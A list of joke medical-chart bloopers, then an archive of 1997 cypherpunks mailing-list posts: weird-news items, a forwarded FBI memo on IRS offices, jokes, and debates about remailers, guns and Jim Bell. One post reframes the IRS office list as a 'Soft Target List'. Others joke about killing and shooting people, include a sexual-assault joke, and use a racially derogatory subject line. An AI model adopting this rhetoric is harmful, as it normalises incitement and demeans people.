Exam of genitalia reveals that TruthMonger is circus sized.

The skin was moist and dry.

Rectal exam revealed a normal size thyroid.

The patient had waffles for breakfast and anorexia for lunch.

She stated that she had been constipated for most of her life until
1989 when she got a divorce.

Between you and me, we ought to be able to get this lady pregnant.

The patient was in his usual state of good health until his airplane
ran out of gas and crashed.

I saw your patient today, who is still under our car for physical
therapy.

The patient lives at home with his mother, father, and pet turtle, who
is presently enrolled in day care three times a week.

Bleeding started in the rectal area and continued all the way to Los
Angeles.

Both breasts are equal and reactive to light and accommodation.

She is numb from her toes down.

Exam of genitalia was completely negative except for the right foot.

While in the emergency room, she was examined, X-rated and sent home.

The lab test indicated abnormal lover function.

The patient was to have a bowel resection. However he took a job as a
stockbroker instead.

Occasional, constant, infrequent headaches.

Coming from Detroit, this man has no children.

Examination reveals a well-developed male lying in bed with his family
in no distress.

Patient was alert and unresponsive.

When she fainted, her eyes rolled around the room.

By the time he was admitted, his rapid heart had stopped and he was
feeling better.

Patient has chest pain if she lies on her left side for over a year.

On the second day the knee was better and on the third day it had
completely disappeared.

She has had no rigors or shaking chills, but her husband states she
was very hot in bed last night.

The patient has been depressed ever since she began seeing me in 1983.

I will be happy to go into her GI system, she seems ready and anxious.

Patient was released to outpatient department without dressing.

I have suggested that he loosen his pants before standing, and then,
when he stands with the help of his wife, they should fall to the floor.


The patient is tearful and crying constantly. She also appears to be
depressed.

Discharge status: Alive but without permission.

The patient will need disposition, and therefore we will get Dr. Blank
to dispose of him.

Healthy-appearing, decrepit 69 year old male, mentally alert but
forgetful.

The patient refused an autopsy.

The patient has no past history of suicides.

The patient expired on the floor uneventfully.

Patient has left his white blood cells at another hospital.

Patient was becoming more demented with urinary frequency.

The patient's past medical history has been remarkably insignificant
with only a 40 pound weight gain in the past three days.

She slipped on the ice and apparently her legs went in separate
directions in early December.

The patient experienced sudden onset of severe shortness of breath
with a picture of acute pulmonary edema at home while having sex which
gradually deteriorated in the emergency room.

The patient left the hospital feeling much better except for her
original complaints.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 1 Nov 1997 10:09:00 +0800
To: cypherpunks@toad.com
Subject: Vote CypherPunk!
Message-ID: <345A84BD.2C4B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* In August, the Boston Globe profiled the Taiwan National
Assembly (which specializes in constitutional issues), where it is
fairly common for the minority New Party to filibuster by merely
grabbing the microphone and physically restraining majority-party
members so that they cannot call for votes.  Fights break out,
sometimes bloody ones.  Said a local political science professor, "It
may not be civilized, but it's efficient" because citizens respond by
re-electing the aggressive legislators.  

~~~
Send a message to notw-request@nine.org with the
Subject line of Subscribe.  To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 1 Nov 1997 10:11:04 +0800
To: cypherpunks@toad.com
Subject: Vote Carol Anne Cypherpunk!
Message-ID: <345A8520.6C8D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* While her colleagues were debating, in July, whether the New
Life Massage Parlor was a front for prostitution, Oak Grove, Ky.,
City Councilwoman Patty Belew, 26, said she already had enough
information to decide.  She said she knows for sure that the
massage parlor paid bribes to some police officers to ignore
prostitution because she used to work there. 

~~~
Send a message to notw-request@nine.org with the
Subject line of Subscribe.  To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 1 Nov 1997 10:00:02 +0800
To: cypherpunks@toad.com
Subject: Vote for Nym C. May!
Message-ID: <345A8642.2A68@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* In March in Huntsville, Tenn., the wife of state Rep. Les
Winningham was indicted for assault.  During the election campaign
in November 1996, according to police, the Winninghams pulled
over in their van to confront a woman who was wearing a shirt that
indicated support for Winningham's opponent.  After a heated
argument, according to the victim, Mr. Winningham instructed his
wife to rough her up, whereupon Mrs. Winningham punched her
three times and kicked her. 

~~~
Send a message to notw-request@nine.org with the
Subject line of Subscribe.  To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 1 Nov 1997 10:09:36 +0800
To: cypherpunks@toad.com
Subject: Proof that Free Market Works!
Message-ID: <345A86C4.9E5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* In May, police raided a construction site in Oporto, Portugal, and
discovered that 12 drug addicts were working dawn to dusk on an
apartment building in exchange for employer-provided heroin
shoot-ups at breakfast, lunch, and dinner.  According to police, the
doses were just enough so that the men would remain employed to
get the next fix. 

~~~
Send a message to notw-request@nine.org with the
Subject line of Subscribe.  To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 1 Nov 1997 10:58:28 +0800
To: cypherpunks@toad.com
Subject: Vote for Pat Robertson!
Message-ID: <345A8797.2171@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* Among the recent rules established by the Afghanistan Taliban
office formerly known as the Department for Promoting Virtue and
Preventing Vice:  No paper bags (because the paper possibly could
have been recycled from discarded Korans); no kite-flying; no
clean-shaven men (unless they are prepared for a career of street-
sweeping); no women employed in senior positions in hospitals, or
seated in the front seats of ambulances, or riding with foreign
citizens; women visiting hospitals must refrain from making noise
with their shoes while walking; athletes must grow beards and wear
full Islamic dress in the field; and sports-event spectators must not
clap.  However, the ban on watching television was lifted. 

~~~
Send a message to notw-request@nine.org with the
Subject line of Subscribe.  To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 1 Nov 1997 10:01:18 +0800
To: cypherpunks@toad.com
Subject: Vote for the TruthMonger of your choice...but VOTE!
Message-ID: <345A8889.7531@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* Maria DiGiulio and Mohamed Sead became the latest criminal
suspects not to beat around the bush when arrested.  When
DiGiulio was booked in July for robbing the Everett (Mass.) Co-op
Bank, she answered police Lt. Robert Bontempo forthrightly. 
"Occupation?" he asked.  "Bank robber," she said.  Sead, 47, was
booked for fraud last October in Toronto, Ontario (and convicted
this year).  Occupation?  "Con artist," he said. (Sead's scheme was
to deceive girlfriends that he was the now-deceased Dodi Fayed.) 

~~~
Send a message to notw-request@nine.org with the
Subject line of Subscribe.  To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 1 Nov 1997 10:22:11 +0800
To: president@whitehouse.gov
Subject: From Russia, With Love  (WAS: Why is the Commander in Chief always the last to know?)  (WAS: Weekday Workers--Weekend Terrorists]  (NEVER WAS: Right...like I'm going to use my _real_ name...)
Message-ID: <345A8BE6.3577@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Subject: [ZOG] FBI MEMO FROM MSP SPEC OPERATIONS DIV
Date: Sat, 1 Nov 1997 01:33:10 GMT
From:  "Ceegar Chewed-Off" <cchewd@ussr.commie>
To: cypherpunks@www.video-collage.com

* ADMINISTRATIVE MESSAGE FROM MSP SPEC OPERATIONS DIV
* 
* From:   FBI NATIONAL SECURITY DIVISION
* To:     ALL LAW ENFORCEMENT AGENCIES
* 
* 
*      Internal Revenue Service {IRS} offices open on
* selective Saturdays, beginning 11/15/97--POTENTIAL
* FOR VIOLENCE.
* 
*      This communication is not an FBI terrorist threat,
* alert, or advisory; it is for information only. Although
* unclassified, this communication should be handled as
* law enforcement sensitive. This communication should not
* be furnished to the media or other agencies outside the
* law enforcement/U.S. Government counterrorism community
* without the permission of the F.B.I.
* 
*      A reported in the media, the IRS recently
* announced that all IRS District Headquarters Offices will
* be open on selective Saturdays, beginning 11/15/97, to
* handle taxpayer complaints and problem cases. Due to the
* recent publicity surrounding allegations of IRS abuses
* against taxpayers, the offices may attract individuals
* intent on disrupting business or committing violent acts
* against IRS employees. As a result, IRS is planning to
* heighten security at all offices. At this time, the FBI
* has no information indicating a terrorist attack
* or violence directed at IRS facilities or personnel.
* 
*      Should recipients receive any information regarding
* violence directed against the IRS, contact the IRS and
* your local FBI office immediately.
* 
*      Following is the list of the 33 IRS District
* Headquarters Offices:
* 
* FROM:  FBI NATIONAL SECURITY DIVISION
* Pacific Northwest District--Seattle, WA
* Northern California District--Oakland, CA.
* Central California District--San Jose, CA.
* Los Angeles District--Los Angeles, CA.
* Southern California District--Laguna Niguel, CA.
* Southwest District--Phoenix, AZ
* Rocky Mountain District--Denver, CO
* Arkansas-Oklahoma District--Oklahoma City, OK
* North Texas District--Dallas, TX
* South Texas District--Austin, TX
* Houston District--Houston, TX
* Illinois District--Chicago, IL
* 


-- 
        - Ceegar.

The average American spends a total of six (6) months in prison.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sat, 1 Nov 1997 12:08:13 +0800
To: cypherpunks@cyberpass.net
Subject: Halloween Humor
Message-ID: <3.0.3.32.19971031195631.006f4604@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



A Cypherpunk To Be Named Later purchases a new hunting rifle and moves to
Alaska to try it out bear hunting.  After a few days of hunting, he sees a
moderately decent-sized black bear, and with one perfectly placed shot,
kills it.  Unfortunately, while watching the black bear collapse, he feels
a tap on his shoulder; turning around, he sees a large brown bear.  "I saw
what you just did," says the bear.  "You have two choices.  Either I maul
you to death, or you and I can step behind that rock over there and engage
in the sort of activity Vulis usually attributes to Timmy Mayonnaise."
Reluctantly, the Cypherpunk accepts the second alternative.

Several days later, when the Cypherpunk is sufficiently recovered to sit
comfortably, he decides to avenge his honor.  After several hours of
stalking, he centers the cross hairs of his riflescope on the brown bear's
[deleted] and fires.  While watching the brown bear die a slow and
agonizing death, he feels a tap on the shoulder.  Turning around, the
Cypherpunk sees an enormous grizzly bear.  "I saw what you just did," says
the grizzly.  "You have two choices.  Either I eat you alive, or you and I
can step behind that tree over there and I will show you what New York City
Police officers really carry batons for."  Reluctantly, the Cypherpunk
accepts the second alternative.

Several weeks later, after the bleeding stops and his toilet schedule
returns to normal, the Cypherpunk once again enters the woods, this time
seeking the grizzly bear.  After searching for several days he finds the
grizzly bear and shoots him.  While he is cutting off the grizzly's
[deleted], he once again feels a tap on the shoulder.  Turning around, he
sees a gigantic polar bear.  The polar bear looks at him and says, "You
don't come out here for the hunting, do you?"


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sat, 1 Nov 1997 12:37:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Protocols for Insuran
Message-ID: <199711010421.UAA09257@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

nobody@replay.com (Anonymous) wrote:
>Monty Cantsin wrote:
> > The Emergency Room Scenario is a little more challenging.  One
> > way to deal with it is to wear some obvious signs of wealth like
> > a $10,000 watch.  In a pinch you can give them the watch. ;-)
> > (Some of the nurses won't know what it is, but the doctors will,
> > I am sure.)
>
>Except that very likely you'll be in the Emergency Room in the
>first place, because you got shot during the mugging for your watch
>-:)

Good point.  A better play would be expensive looking designer
firearms.  Not only can you use them for collateral, but they allow
the use of certain negotiating strategies with muggers - or doctors.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sat, 1 Nov 1997 12:39:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Killing those who need killing
Message-ID: <199711010421.UAA09272@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>Don't any of you get any ideas here, but in California it is
>ridiculously easy to get someone committed for a 72-hour observation
>period. All one has to do is convince one of the various agencies
>that a person is a possible danger to himself or to others....

>...Worst of all, the mere fact of having been committed, regardless
>of the eventual outcome, can mean a complete loss of rights to own a
>handgun, rifle, or shotgun for a long period (10 years, I
>think). Failure to let the Thought Police in for a look around one's
>home is almost ipso facto grounds for committment.

Use of remailers lessens this and other risks.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 1 Nov 1997 11:27:02 +0800
To: cypherpunks@toad.com
Subject: FBI Provides Soft Target List! (WAS: Suitcase packed, and nowhere to go...)
Message-ID: <345A9417.13FA@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



*      Following is the list of the 33 IRS District
* Headquarters Offices:
* 
* FROM:  FBI NATIONAL SECURITY DIVISION
* Pacific Northwest District--Seattle, WA
* Northern California District--Oakland, CA.
* Central California District--San Jose, CA.
* Los Angeles District--Los Angeles, CA.
* Southern California District--Laguna Niguel, CA.
* Southwest District--Phoenix, AZ
* Rocky Mountain District--Denver, CO
* Arkansas-Oklahoma District--Oklahoma City, OK
* North Texas District--Dallas, TX
* South Texas District--Austin, TX
* Houston District--Houston, TX
* Illinois District--Chicago, IL
* Republic of Texas District--Armadillo World Headquarters





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 1 Nov 1997 04:14:12 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell sentencing delayed
Message-ID: <199710311947.UAA04649@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> Greg,
> What's your take on repeated delay in Jim's sentencing:
> 
> 1. A squeeze on Jim to finger co-conspirators.

  Aleady confirmed, upon researching a theory that Jim's 'letter
of pennance' was calculated to warn anyone with half-a-brain that
it would be unwise to put a lot of trust in either himself or 
anyone working with information gleaned from the search/seizure
and/or prosecution of James Dalton (Gang?) Bell.

  It is standard procedure to delay punishment in cases where:
a) The narcs are *hoping* to 'turn' the individual, and need to
  string out their control over them (which diminishes rapidly
  once their fate is confirmed).
b) The narcs *already have* turned the individual and are unsure
  if the person is yanking their chain, trying to get a done deal
  without giving up conspirators yet-to-be-born, as promised.
  (Known as "the unborn" by the spook-oriented.)
c) The narcs have a 'done deal' with the individual, and need to
  postpone any signs of a 'sweetheart deal' so as not to spook
  (pardon the pun) the targets of an ongoing investigation.
d)  The warrants are in the mail and the individual's sentencing
  is dependent on future testimony/cooperation.
e)  The spooks are having trouble finding the right combination of
  chemicals to twist the individual's mind into a willing vessel of
  their mind-control plans for them as a suitcase salesman.

> 2. Weak case, must use procedure to punish.

  Delay is usually used when they've gotten some backwoods legal
aide dupe to sell their client down the river unwittingly, and
they want the individual to spend as much time as possible in
jail before finding out at his or her sentencing that they have
gotten totally screwed and they go out and get themselves a good 
lawyer.
  Not the case, here. Jim's lawyer knew where his future career
was buttered. Nobody unwittingly lets their client get stomped
on that badly and refuses offers of outside assistance, without
being a part of the plan.

> 3. To let time served be the sentence.

  Nope.
 
> 4. Jim was up to something worse now being discovered

  Nope. But they could very well be trying to manipulate him into
turning on others, OR (listen closely...) 'pretending' to turn on
others without really giving them up, and turning his own past
non-crimes into real-crimes in the process.
  e.g. - "I don't know if John Young was *serious* about what he
said in that email to me, but I could find out, once I am out of
here." <But I will give you the Big FUCK YOU the minute my feet
hit the outside pavement.>
  This is a true toilet-plunger maneuver, with the individual led
to 'making' his past actions criminal with the statements he makes
today. 'Wise guys' are susceptible to this, being too smart for
their own good, and thinking they can walk with the Devil as far
as the Bridge. <WRONG!>

> 5. Jim is a secret gov agent, now feet up in Tacoma IRS
> laughing at those who fell for suckerbait, screwball AP
> written by IRS as a sting (a recent book package to Jim was
> returned marked "Not in Jail").

a) A definite possibility, but extremely difficult to confirm.
McVeigh, for instance, did everything but wave a red flag to get
his ass picked up. Tough to tell a 'death wish' from personal 
involvement in 'the plan.' 
b) Jim and Tim were both 'led to believe' that they were 'part of
the plan' and will continue to believe so until it becomes obvious
that the burning coals being prepared in the pit are for them, at
which time it is a little late to start saying, "Actually, the
*real* story is..."

> 6. The court was hoodwinked by IRS, too, and the AUSA
> is preparing an indictment of the stingers and federal defenders
> and who knows who else that was in on it.

  Not *that* court. That one, like the one in Denver, is a *home*
court, with *home* referees and officials.
  It's tough to win in Vegas, unless you're *from* Vegas.
(Nobody calls from Vegas just to say "Hello.")
 
> 7. Secret Agent Jim is squealing on his double-crossing
> secret agents, cutting a deal with whoever else is double-
> crossing whomever. He's going down, they're going down,
> we're going down, the whole country's going down; Up the
> Revolution!

  We can only dream...

9. 'C'hoate, 'C'hudov and 'C'ottrel are actually running the CDR 
list from a cell adjoining 'B'ell's, and those whose names begin with
a 'D' will be the next to join them.
  (The narcs are saving the 'A's for last, because they can't figure
out who the hell 'Anonymous' is.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 1 Nov 1997 12:57:09 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [NTSEC] Security Alert (fwd)
In-Reply-To: <Pine.GSO.3.95.971031143645.18704K-100000@king>
Message-ID: <v03102805b08057501f12@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:38 PM -0700 10/31/97, Ryan Anderson wrote:

>browser. The Gullibility Virus, as it is called, apparently makes people

The word "gullibility" is not in any dictionaries.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 1 Nov 1997 11:12:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Technology 'secures' gunfire [CNN]
Message-ID: <199711010306.VAA27799@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                    TECHNOLOGY 'SECURES' GUNFIRE IN THE CITY
>                                        
>      Secures October 31, 1997
>      Web posted at: 4:44 p.m. EST (2144 GMT)
>      
>      ARLINGTON, Virginia (CNN) -- If you heard gunshots ring out in your
>      neighborhood, you might be able to tell the general direction they
>      came from. And if you happened to glance at your watch, you could
>      say about what time. In maybe a minute, if you were so inclined, you
>      could call the police to report it.
>      
>      Now police have an electronic witness that can provide similar
>      assistance: a device called SECURES that pinpoints the time and
>      location of gunshots.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William J. Clinton" <PRESIDENT@WHITEHOUSE.COM>
Date: Sat, 1 Nov 1997 11:28:41 +0800
To: cypherpunks@toad.com
Subject: NUKE TIM C. MAY!!!
Message-ID: <345A9EC4.1CDF@WHITEHOUSE.COM>
MIME-Version: 1.0
Content-Type: text/plain



<heh, heh>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 1 Nov 1997 12:53:43 +0800
To: tcmay@got.net (Tim May)
Subject: Re: North CA cops skip preliminaries, get straight to torture
In-Reply-To: <v03102800b07fc6a7224a@[207.167.93.63]>
Message-ID: <199711010440.EAA32646@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> If I return to my home or place of business and find that "demonstrators"
> have placed a 700-pound tree trunk in the center of my living room or
> office and have chained themselves to it, or surrounded it with a human
> chain, as a form of "protest," my response will be simple:

> "I'm going to go get my assault pistol and a couple of other guns. If
> you're gone by the time I get back, we'll settle in civil court for the
> damage you just did to my front door, my carpet, and my peace of mind. If
> you're not gone, I'll consider you intruders in my home or business, and
> probable threats. Take your choice."

> Sounds fair to me.

And what if they closed a public driveway?

Do you think that a private (ie, non-leo) person can shoot them?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 1 Nov 1997 12:54:28 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Killing those who need killing (fwd)
Message-ID: <199711010450.WAA28372@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 31 Oct 1997 20:21:23 -0800 (PST)
> From: Mix <mixmaster@remail.obscura.com>
> Subject: Re: Killing those who need killing

> Tim May wrote:
> >Don't any of you get any ideas here, but in California it is
> >ridiculously easy to get someone committed for a 72-hour observation
> >period. All one has to do is convince one of the various agencies
> >that a person is a possible danger to himself or to others....
> 
> >...Worst of all, the mere fact of having been committed, regardless
> >of the eventual outcome, can mean a complete loss of rights to own a
> >handgun, rifle, or shotgun for a long period (10 years, I
> >think). Failure to let the Thought Police in for a look around one's
> >home is almost ipso facto grounds for committment.
> 
> Use of remailers lessens this and other risks.

Ok, Monty, explain how my use of remailers is going to help me when my
son-in-law (for example) decides that he wants my property and decides to
have me examined? The mere fact that he can prove I use anonymous remailers
will only boost his assertion that I am a paranoid. If my hard drive is
encrypted that is further proof of my 'illness'.

Swords cut both ways.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 1 Nov 1997 17:58:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <2d9fdee2822cc80bd98da311efbf2459@squirrel>
Message-ID: <v03102807b08075502b6d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:48 PM -0700 10/31/97, Secret Squirrel wrote:

>Tim May wrote:

>>Read "The Millionaire Next Door" for tips on what millionaires (who
>>are of course the "barely non-poor" these days) are likely to be
>>wearing and flaunting. Turns out that most Yuppies driving BMWs and
>>wearning Rolexes are doing so on _credit_. Driving a Mercedes or BMW
>>has nothing to do with actual ability to pay bills.
>
>Perception, not reality, is what is important here.  A wealthy
>appearing person will generally fare better.
>
>It's true, however, that you are probably better off with proof of
>insurance than an expensive watch when being wheeled into the
>emergency room.  (Except for your privacy, that is.)

Those deciding on admittance don't look for Rolexes (besides, fake Rolexes
sell for about $29 at any flea market).

What an insurance card is really a *line of credit*. Or a *proof of
payment*. The admitting hospital knows they'll at least be reimbursed for
the initial visit and emergency treatment.

By contrast, those lacking such a card may use all sorts of claims to avoid
payment fo the bill.

I certainly agree that there ought to be better ways to tell a hospital:

"Look, I can and will pay for treatment if you admit me to your emergency
room."

Even better,

"And I'd like to pay the "preferred rate," not the 3-4x inflated price you
publish as your "list price.""

However, at this time it looks like a Blue Cross or Blue Shield or
equivalent card is the only recognized way to meet these goals.

Perhaps there's a business idea for some enterprising Cypherpunk. A prepaid
hospital card, good for a few days' worth of treatment (e.g., $5000), but
only at the better rates. This could even be done with Chaumian
privacy-protecting methods. There's an idea.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 1 Nov 1997 12:50:35 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <059ba8257a50981b642ca5005181f75d@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



I am a bit confused. A post to the list claimed that the fifteen year
old who raped and murdered the eleven year old (both boys) had not
met his victim on the internet, as initial media sources indicated,
but on an 800 number phone-chat line.
I vaguely recall doing a web search to find out the facts for myself
and confirming the claim. Now I am watching Sixty Minutes on tv and
they keep repeating the mantra, "met on the internet, met on the 
internet..."
Does anyone have the so called real scoop on this?

Thank You





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 1 Nov 1997 07:13:22 +0800
To: cypherpunks@toad.com
Subject: Infinigy?
Message-ID: <199710312259.XAA23914@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> Anonymous wrote:
> >
> > Is there an archive of various papers concerning such things as Assassination
> > Politics, Eternity Servers, Reputation Capital, The Blowfish Cipher, CROWDS,
> > encryption of IP traffic, etc.?
> 
> Anonymous, worried that answering himself might lead to being
>   incarcerated against his will for a mental evaluation, replies:
> 
> Tim C. May is a living archive of these issues and technologies, but
> it is a bad idea to show up on his doorstep, unannounced.
> 
> However, it is sometimes possible to sneak into a website to be
> found at http://jya.com/ and get out alive with as much information
> as you are capable of stuffing into your CyberPockets during your
> sojourn into the bowels of Cryptocracy.
> If you enjoy browsing leisurely through odd piles of obscure posts
> on all of the above, and more, the Infinity website CPUNX archive
> can be found at http://infinigy.nus.sg/cypherpunks

** OK, would you believe -- http://infinity.nus.sg/cypherpunks ? **

>  (Of particular classical value are the many [ADMINISTRAVIUM]
>   posts which contain valuable graphical representations of
>   some of the more arcane CPUNX traditions.)
> 
> AlwaysHappyToHelpMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sun, 23 Nov 1997 04:05:24 +0800
To: cypherpunks@cyberpass.net
Subject: Junior Jim Bells in Training
Message-ID: <199710281425.IAA00588@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Two more future cypherpunks added to the list of people who will 
someday "McVeigh" Washington, DC.

I'm surprised sending a flame to one of our elected leadership's 
public email addresses is not already a death penalty offense. 

-----

CORDOVA, Tenn. (AP) -- Two 13-year-old boys are charged with sending a
threatening e-mail message over the Internet to Hillary Rodham
Clinton.
 
Contents of the electronic mail message to the president's wife
haven't been released, but U.S. Secret Service agents are expected to
outline them during a hearing Monday in Juvenile Court.
 
The youngsters, whose names have not been released, are charged with
threatening and harassing Mrs. Clinton. They could face a fine,
counseling, community service or detention.
 
Officials say it's unlikely that the president's wife read the
message, which was sent last month.
 
Anyone with a computer, modem and an Internet service provider can
access the White House Web Page and Mrs. Clinton's E-mail address.
 
Her page includes photos, a biography, speeches and instructions on
sending an electronic message.
 
``The Internet is a wonderful tool that not only enables you to better
access information about the White House, but also gives us an
opportunity to hear your ideas and better serve you,'' Mrs. Clinton
says in the welcoming text of her Web page.
 
Senders must include a name, address and other information about why
they're writing. All senders receive an electronic message
acknowledging receipt of the e-mail.
 
It was not clear whether the boys included their own names and
addresses, but authorities say tracing e-mail is relatively easy.
 
``We aggressively investigate any threats or incidents of unusual
interest toward any of our protectees,'' said Steven Rutledge,
special agent in charge of the Secret Service in this area.
 
Cordova is about 15 miles east of Memphis.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Mon, 24 Nov 1997 09:03:59 +0800
To: cypherpunks@cyberpass.net
Subject: Negronics
Message-ID: <199710291928.NAA02735@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



According to the Associated Press, the first Black student at the
University of Mississippi, James Meredith, has just opened an
institute which teaches Black men and boys to be successful by
